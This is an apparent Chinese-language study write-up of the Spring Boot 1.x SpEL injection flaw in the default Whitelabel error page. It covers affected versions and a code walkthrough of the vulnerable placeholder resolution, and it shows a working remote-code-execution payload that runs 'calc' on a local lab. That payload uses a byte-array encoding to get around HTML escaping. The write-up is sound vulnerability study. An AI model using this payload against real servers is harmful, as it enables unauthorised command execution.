SpringBoot 1.x SpEL表达式注入漏洞
前言:学习springboot系列的漏洞
参考文章:https://github.com/LandGrey/SpringBootVulExploit
什么是SpEL表达式
Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。
最常见的就是在配置数据源的那块,为了统一管理,一般都是将账号密码等信息都一起写到 xxx.properties 中,然后通过注入 PropertyPlaceholderConfigurerResolver 来实现spel表达式的执行,这样就能将 xxx.properties 中的资源信息(也就是账号密码)直接引入到数据源中。
漏洞介绍和环境搭建
影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
利用条件:
1、spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
2、至少知道一个触发 springboot 默认错误页面的接口及参数名
搭建的环境:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
用idea打开之后配置下SpringBoot启动项就可以直接跑了
访问: http://localhost:9091/ ,如下图所示就说明搭建成功了
漏洞复现
访问:http://localhost:9091/article?id=${7*7} ,可以发现${7*7}
的SpEL表达式被进行了解析,随后将该表达式的运行的结果进行了返回,如下图所示
# coding: utf-8
result = ""
target = 'calc' # 自己这里是windows环境,所以测试命令用的是calc
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
访问: http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))} ,可以发现命令成功执行了
漏洞分析
漏洞存在点:/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java
这是一个自动配置类,既然是SpEL漏洞,那么这个配置类中进行是进行了相关的表达式解析才导致的。
这里就直接在控制器中进行下断点来跟,也就是如下的地方
mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); ,方法中处理了相关的HTTP请求,相关的控制器方法执行和触发的异常都是在这里面执行的
因为这里会处理异常,所以最终返回给mv变量的是error视图
到目前modeView对象已经拿到了,该对象中包含了这里HTTP请求处理的处理和相关值,然后将这个作为参数调用processDispatchResult,让该方法来进行渲染
在processDispatchResult方法中就会进行渲染,其中实现渲染的方法名就是render
用的是什么解析器来进行渲染呢?SpELPlaceholderResolver对象
渲染的模板就是默认的Whitelabel Error Page 模板,其中就四个标签有进行相关SpEL表达式的操作的,分别是 ${timestamp} ${error} ${status} ${message}
"<html><body><h1>Whitelabel Error Page</h1>"
+ "<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>"
+ "<div id='created'>${timestamp}</div>"
+ "<div>There was an unexpected error (type=${error}, status=${status}).</div>"
+ "<div>${message}</div></body></html>");
这里重点就是分析 String result = this.helper.replacePlaceholders(this.template, this.resolver); ,继续跟进去看,可以看到调用的是replacePlaceholders方法
public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
Assert.notNull(value, "'value' must not be null");
return parseStringValue(value, placeholderResolver, new HashSet<String>());
}
接着继续来到parseStringValue(PropertyPlaceholderHelper.java)
接着就是一块逻辑处理的代码,这里不放图,我直接打字来描述即可
protected String parseStringValue(
String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) {
StringBuilder result = new StringBuilder(strVal);
int startIndex = strVal.indexOf(this.placeholderPrefix);
while (startIndex != -1) {
int endIndex = findPlaceholderEndIndex(result, startIndex);
if (endIndex != -1) {
String placeholder = result.substring(startIndex + this.placeholderPrefix.length(), endIndex);
String originalPlaceholder = placeholder;
if (!visitedPlaceholders.add(originalPlaceholder)) {
throw new IllegalArgumentException(
"Circular placeholder reference '" + originalPlaceholder + "' in property definitions");
}
// Recursive invocation, parsing placeholders contained in the placeholder key.
placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders);
// Now obtain the value for the fully resolved key...
String propVal = placeholderResolver.resolvePlaceholder(placeholder);
···
if (propVal != null) {
// Recursive invocation, parsing placeholders contained in the
// previously resolved placeholder value.
propVal = parseStringValue(propVal, placeholderResolver, visitedPlaceholders);
result.replace(startIndex, endIndex + this.placeholderSuffix.length(), propVal);
if (logger.isTraceEnabled()) {
logger.trace("Resolved placeholder '" + placeholder + "'");
}
startIndex = result.indexOf(this.placeholderPrefix, startIndex + propVal.length());
}
else if (this.ignoreUnresolvablePlaceholders) {
// Proceed with unprocessed value.
startIndex = result.indexOf(this.placeholderPrefix, endIndex + this.placeholderSuffix.length());
}
···
visitedPlaceholders.remove(originalPlaceholder);
}
else {
startIndex = -1;
}
}
return result.toString();
}
1、StringBuilder result = new StringBuilder(strVal); 将要渲染的模板存储到一块StringBuilder对象中
2、接着下面的while循环就是来寻找 this.placeholderPrefix开头并且以this.placeholderSuffix 结尾的字符串,并且将其中的字符串名称取出
3、这时候就来到了 placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders); ,它会将 上面取出来的字符串作为placeholder变量进行传输,通过placeholderResolver解析器来进行解析,而且这个方法还是递归的方法,因为上面一开始取出的字符串中还带有${ }
这种,还会递归进行parseStringValue解析,直到不存在${}为止
4、String propVal = placeholderResolver.resolvePlaceholder(placeholder);,接着就是调用这个方法,这个方法才是真正的主角,因为进行字符串填充的都是通过这个方法
resolvePlaceholder这个方法跟进去,可以发现会通过SpelExpressionParser对象的parseExpression方法来对传入的字符串进行保存,最后返回一个expression的对象
5、Object value = expression.getValue(this.context); 接着其中继续通过返回来的expression对象来获取其中的值,根据该值来判断返回对应的对象,这里传入的是timestamp
,通过getValue方法之后返回出来的是一个Date格式的字符串
6、还会对这个返回的字符串进行HTML编码处理
return HtmlUtils.htmlEscape(value == null ? null : value.toString());
7、最后进行替换处理,将其解析出来的字符串和对应的${}
进行替换
整个解析过程就是这样,那么这里可以知道的就是对于${}
字符串的解析是通过SpEL表达式进行解析的,那么SpEL表达式是否可以进行利用?这里还需要了解下相关的SpEL表达式的运用
SpEL表达式的使用
参考文章:http://rui0.cn/archives/1043
这里讲两种用法,其他用法可以参考文章即可
parser.parseExpression("'hello world'");
这里输入的'hello world' 是需要加上单引号的,加上单引号的作用是让SpEL以字符串类型来进行解析
public class CodeTest {
public static void main(String[] args) {
//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//SpEL表达式语法设置在parseExpression()入参内
Expression exp = parser.parseExpression("'hello world'");
//执行SpEL表达式,执行的默认Spring容器是Spring本身的容器:ApplicationContext
Object value = exp.getValue();
System.out.println(value);
}
}
第二种T(Type): 使用"T(Type)"来表示java.lang.Class类的实例,即如同java代码中直接写类名。同样,只有java.lang 下的类才可以省略包名。此方法一般用来引用常量或静态方法
Expression exp = parser.parseExpression("T(java.lang.Math)");
,可以发现解析出来的是一个math的class对象
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
,那么这样就可以直接执行命名了
同样试试用这个表达式注入到相关存在漏洞的环境,访问 http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(%27calc%27)}
,发现应用直接报错了
重新调试,跟进去看下,可以发现原来是被HTML编码处理了,最后返回的字符串存在&
T(java.lang.Runtime).getRuntime().exec('calc')
,那么单引号或者双引号就无法使用,但是这里可以通过String类型来进行替换,用十六进制来表达'calc'字符串 {0x63,0x61,0x6c,0x63}
那么最后的payload就是 ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}